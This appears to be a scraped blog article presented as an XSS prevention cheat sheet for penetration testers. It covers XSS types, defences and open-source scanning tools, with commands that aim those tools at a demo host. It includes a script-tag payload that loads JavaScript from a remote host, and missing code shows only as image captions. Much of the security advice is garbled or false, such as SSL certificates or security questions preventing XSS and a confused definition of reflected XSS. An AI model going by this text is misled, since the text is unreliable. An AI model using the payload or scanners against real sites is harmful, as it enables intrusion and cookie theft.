XSS Prevention Cheat Sheet for Penetration Testers (2023)

What is XSS?

Cross-Site Scripting in short XSS refers to the penetration of website security. A simple XSS vulnerability can act as a sitewide logger. To be honest, it does more damage to the user browsing the site than the web server itself. So yes, it is quite dangerous. Some people may confuse XSS with CSS, which is a very different thing. Cascading Style Sheets or CSS is used in the design functionality of a webpage.

Simple JavaScript like this can cause a massive hole in security as an XSS attack

XSS Prevention Cheat Sheet for Penetration Testers (1)

“https://youhavebeenpawned.com” is a name that we used for demo purposes.

XSSis one of the Deadliest Attacks hackers do on a web application. In this vulnerability, the attacker injects a malicious script to perform a malicious action on trusted websites. This Malicious script executes on the browser and affects the visiting user.

XSS is quite prevalent in websites where the user input is not encoded or escaped.

Cross-Site Scripting (XSS) has three different types. They are:

  1. Stored XSS
  2. Reflected XSS
  3. DOM Based XSS

What is Stored or Persistent XSS?

Unsecure websites and databases fall under stored XSS attack patterns most of the time. Malicious scripts are injected by an attacker directly on the website via input fields. It can be the comment form, sign up or login box, visitor log. Database or server also takes the input in the most welcoming manner and it lets the attacker mess with the web server itself.

XSS Prevention Cheat Sheet for Penetration Testers (2)

This is the typical behavior of a non-secure site. When visited, the malicious script is being retrieved causing it to execute. As the executable JavaScript code requests for stored information, we call it stored XSS or second-order XSS attack.

Stored XSS attack example

While browsing a webpage that takes comment or feedback as input can be a great example. A regular comment would be a user’s thought on the content. But an attacker does things differently. The attacker may leave a comment like “It is very helpful”,(+) attached with a malicious script or JavaScript file. Something like:

XSS Prevention Cheat Sheet for Penetration Testers (3)

Once the comment is posted. Every time a user visits the page, the comment loads for him too. Allowing HTML to activate the script. This script is being stored on the page as you can see which is hosted on some other site. It can be coded to capture cookies or get the inputs.

XSS Prevention Cheat Sheet for Penetration Testers (4)

It is one of the simplest tricks in the book as far as the Stored XSS attack goes. We mentioned authstealer.js as a simple JavaScript file.

XSS Prevention Cheat Sheet for Penetration Testers (5)

There are plenty of things that can go wrong depending on the stored code behind the script.

Reflected XSS attack

As the name suggests, the network route is being reflected after modification by an attacker in a Reflected XSS attack. When an attacker injects a bad script into a webpage, the web server or database stores it. In this case, the database or web server is not secured at all. A good example is the YouTube comment section. Though YouTube is not an insecure website by any means. Any comment on YouTube does reload the page. Its functionality is executed in the background and we can assume its server sided.

XSS Prevention Cheat Sheet for Penetration Testers (6)

Malicious JavaScript can be injected here and thus will reload the page. Not our primary example site but an insecure site. So, when the user loads the page, the script mines data from the user to the attacker. Our HTTP response reflects everything from the user to the attacker.

A Good Example

Suppose a URL (Uniform Resource Locator) takes in the search term by user input on the webpage. So, it stores a small amount of data in the URL bar.

XSS Prevention Cheat Sheet for Penetration Testers (7)

The web application reflects the search term on the server

<p>User search result: hacking tutorial</p>

If the webserver fails to purify or process the data securely, it is prone to be injected.

XSS Prevention Cheat Sheet for Penetration Testers (8)

A successful Reflected XSS attack can give the attacker all the access or security level access of the user account. It also allows modification and interaction with payload which is a serious threat.

DOM Based XSS Attack

DOM Based XSS, also known as type-0 XSS is executed when the returning payload is being modified by an attacker via malicious script to perform an XSS attack. It happens within the DOM environment because the browser is supposed to execute JavaScript whenever it sees it. And if you direct to an insecure site, even after the security warning, the code runs as “unexpected.”

XSS Prevention Cheat Sheet for Penetration Testers (9)

HTTP response doesn’t change in a DOM Based XSS attack and the most troubling thing is, proxy falls under the least needed tool to perform it. No change is noticed on the server but the client-side falls under the victim category. But the issue is not very common.

XSS Prevention Cheat Sheet

XSS is best prevented while coding an application. Here are some Prevention techniques for XSS:

  • Escape all user Input and Output. Did you know, JavaScript string in values requires a different escaping procedure than an HTML context!

XSS Prevention Cheat Sheet for Penetration Testers (10)

  • Escaping all special characters is mandatory. Password complexity is another thing to keep in mind while browsing or tweaking improvements in a webpage as a registered user. Special characters or symbols (! @ # $ % ^ & *) should be escaped properly.

XSS Prevention Cheat Sheet for Penetration Testers (11)

Allowed and non-permitted special characters require to be listed properly. Also, proper rules of what types of special characters can be used and on what length helps to prevent cross-site scripting. To get the best security and usability alongside, it is necessary to escape special characters. But under a proper encoding blanket of course.

  • Internet Explorer has an AttributeHTTP-Onlythat can be set for the cookies to prevent stealing of cookies and avoids access to cookies by any script. This is Output Validation instead of input Validation.
  • Other browsers e.g., Chrome, Firefox, Safari, Edge automatically install the certificate and uses it for websites. Rules are set by these browsers themselves as modern-day browsers have built-in security to prevent outside scripting parameters. A general rule of thumb is to browse or visit a site should be by one device. But today we use simulation devices or browsers to access the same page for many reasons. Vulnerability is handled by installing these SSL certificates and protecting methods by default.
  • Escape all untrusted data based on the body, Attribute, JavaScript, CSS, and URL.
  • White-List input validation isan excellent strategy for the prevention of XSS. Here we define a list of Allowed input by the user. Any input which is not as per the allowed white-list (which is just the allowed regular expressions) is not taken as an input and simply rejected.
  • Use ofOWASP Auto-Sanitizationlibrary is highly recommended.
  • To prevent XSS also useAnti-SammyorJava HTML Sanitizer Project(also from OWASP)
  • UseOWASP Content Security Policy.
  • Output Validation is a must thing. Otherwise, without proper escaping or validation, it will be treated asactive content bythe browser.
  • Choosing security questions properly to have an extended XSS filter should be practiced. The proper ruling of security questions is the following according to OWASP:
  1. The questions and explanations should be memorable
  2. The answers should be constant and not changeable
  3. The user must be able to answer the questions easily and at the same and the imposter will have a hard time obtaining them.
  4. The questions and answers should be clear to the user.
  • Build a goodXSS Filter. Let’s discuss the general process of building a good XSS filter.

Building A Good XSS Filter

Keep in mind that no perfect XSS Filter can be made. XSS filter is just an added layer of protection. XSS filter will help to make our Application protected from vague attacks and script kiddies.

Basic Rules For XSS Filter

  • Encode every data given by the user. As we are making a new web application for broader use frequently, more features are being implemented. In HTML it is necessary to encode attributes before rendering the HTML content. At the time of DOM XSS, it is necessary to encode HTML attributes that do not execute. One of the basic principles of HTML is to encode untrusted data. So, it comes in handy as the first phase of defense.
  • If the data is not via user and arrives by a GET request, encode this data too. Challenge token can utilize GET (URL) requests alongside POST requests. There are many design strategies as far as CSRF goes. Browser history, network appliance, or HTTP logs are accessed by GET request at several locations. This sensitive server-side information should be maintained properly.
  • URLs can contain code. If you ever thought elsewhere, facts should be rechecked. Phishing or pharming attackers will target specific URLs and will embed malicious HTML code or JavaScript code in it. This is why certain parameters to purify URL is required.

XSS Prevention Cheat Sheet for Penetration Testers (12)

Even in the rendering URL context, simple JavaScript protocol handlers such as <a> tag can contain codes. Though today we have been through enough attacks on websites, that browsers have many built-in features to stop XSS attacks at their doorstep. Still, it is very easy to mess up. Simple data introduced in JavaScript code can appear in a server-side encoding context similar to the image below.

XSS Prevention Cheat Sheet for Penetration Testers (13)

The following data must be properly sanitized:

    1. URL
    2. HTTP Referrer Objects: HTTP Header Field defines the address of the webpage associated with the resource requested.
    3. GET Parameters from a Form.
    4. POSTParameters from a Form.
    5. Windows.location: Javascript Object that can be used to get the address of the current webpage and also can be used to redirect to another web page.
    6. Document.Referrer: Returns the URL of the Document that loaded the current document.
    7. Document.Location: Contains the information about the current URL.
    8. Document.URL
    9. Document.URLENCODED
    10. Cookie Data
    11. All Headers Data
    12. DATABASE Data
  • The sanitization process is necessary to prevent log injection attacks on event data. Input validation assists the user and rejects input other than the preset keywords, with filtering.Assist the user > Reject input > Sanitize (filtering) > No input validation
  • Encode all <,>,”,’

& -> &amp
< -> &lt
> -> &gt

  • Use of OPEN SOURCE LIBRARIES To prevent XSS :
    1. PHP AntiXSS: Automatically detects the encoding of data that must be filtered.
    2. XSS_Clean.php filter: Cleans URF Encodings and Nested Exploits. (available on Github)
    3. HTML Purifier : HTML library written in PHP .This will remove any malicious code from the Input. Also available as a plugin in most Php Frameworks.
    4. XSS Protect: This Library works by creating an HTML Tag Tree of the Webpage. This will parse all the HTML Webpage and Match all the Tags. After that, it will filter the interface and will filter any improper HTML Attributes.
    5. XSS HTML Filter: This is an XSS filter for JAVA.

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

  • .net library:The .net library filters HTML by a white list approach. Attributes like tags, OWASP XSS filters can be configured within its budget.
  • ModSecurity WAF:It is used to detect and apply cookie attributes and similar security features.

Open-source XSS tools

XSS tools to get an upper hand in the learning curve for penetration testers. We have mentioned these tools because they are open-sourced and updated frequently.

  • XSSer: XSSer is a great tool for automating XSS and has a built-in library of 1300 vulnerabilities. It is a Python-based tool to bypass many WAFs.

XSS Prevention Cheat Sheet for Penetration Testers (14)

They are to name a few. Installing is pretty simple but is dependent on many libraries like pycurl, bs4(beautiful soup 4), GeoIP, gi, cairocffi, selenium, and other web drivers.

XSS Prevention Cheat Sheet for Penetration Testers (15)

To run on Debian-based systemsexecute the following command:

sudo apt-get install python3-pycurl python3-bs4 python3-GeoIP python3-gi python3-cairocffi python3-selenium firefoxdriver

For systems like Kali, Fedora a sudo pip installation should do the trick. Any other web driver should also be installed.

sudo pip3 install pycurl bs4 pygeoip gobject cairocffi selenium

XSS Prevention Cheat Sheet for Penetration Testers (16)

  • XSSNiper: According to the usability, XSSNiper is an XSS discovery tool with mass scanning functionalities. A simple line like the one we mentioned below triggers the XSSNiper XSS tool to run its magic on a page.

The tool is also known as Cross-Site Sniper because it and targets GET parameters. Later the GET parameters are injected with an XSS payload.

$ python xsssniper.py -u http://youhavebeenpawned.com/index.php?page=test

To install, run the line below on your command prompt:

$git clonehttps://github.com/gbrindisi/xsssniper.git

XSS Prevention Cheat Sheet for Penetration Testers (17)

  • W3af: W3af is a JavaScript-based open-source vulnerability tester. Can run on python too with fundamentals like core functionality, UI, and plugins. Clone the Git repo from below to get started:

XSS Prevention Cheat Sheet for Penetration Testers (18)

$sudogit clonehttps://github.com/andresriancho/w3af.git

And to use the GUI

  • XSStrike: XSStrike is equipped with four parsers. It can generate an intelligent payload, fuzzing engine, and very fast crawler. What other injectors do is, try to inject every single payload available and it works on the vulnerable ones.

XSS Prevention Cheat Sheet for Penetration Testers (19)

But XSStrike analyses the responses before doing so and the success rate is far broader. To run the application( “–crawl” is also an option with this one):

$ python xsstrike.py-u http://youhavebeenpawned.com/search.php?q=query

XSS Prevention Cheat Sheet for Penetration Testers (20)

  • XSS Hunter: XSS Hunter is one of the latest frameworks to find available points of XSS. It is one of the easier tools packed with perks like management, organization & monitorization.

XSS Prevention Cheat Sheet for Penetration Testers (21)

Command-line for installing and running the config files are respectively mentioned below:

$sudoapt-get installgit(ifnot already installed) $git clonehttps://github.com/mandatoryprogrammer/xsshunter.git$ ./generate_config.py

Conclusion: XSS attack or XSS vulnerability causes manual exploitation to a website. Checking for crawler/spider and any other content that can welcome Metafile exploitation is certainly a matter of concern. Providing clear roles for users and setting adequate permission to secure the web framework is necessary before loading as a real-world application.

According to OWASP, a few configuration management are necessary. They can be checking backups or files that are unreferenced in the site manual, scripts, administrative URLs. Non-production data should be tested in the live environment under different authorities and keep on looking for flaws. A threat modeling practice and proper documentation to work as an easy and safe guideline should be provided.

Hope you can piece together these small bits of explanations to draw the big picture and serve as a frontline document as XSS Prevention Cheat Sheet for Penetration Testers.

Top Articles
Latest Posts
Article information

Author: Manual Maggio

Last Updated: 02/20/2023

Views: 5987

Rating: 4.9 / 5 (69 voted)

Reviews: 92% of readers found this page helpful

Author information

Name: Manual Maggio

Birthday: 1998-01-20

Address: 359 Kelvin Stream, Lake Eldonview, MT 33517-1242

Phone: +577037762465

Job: Product Hospitality Supervisor

Hobby: Gardening, Web surfing, Video gaming, Amateur radio, Flag Football, Reading, Table tennis

Introduction: My name is Manual Maggio, I am a thankful, tender, adventurous, delightful, fantastic, proud, graceful person who loves writing and wants to share my knowledge and understanding with you.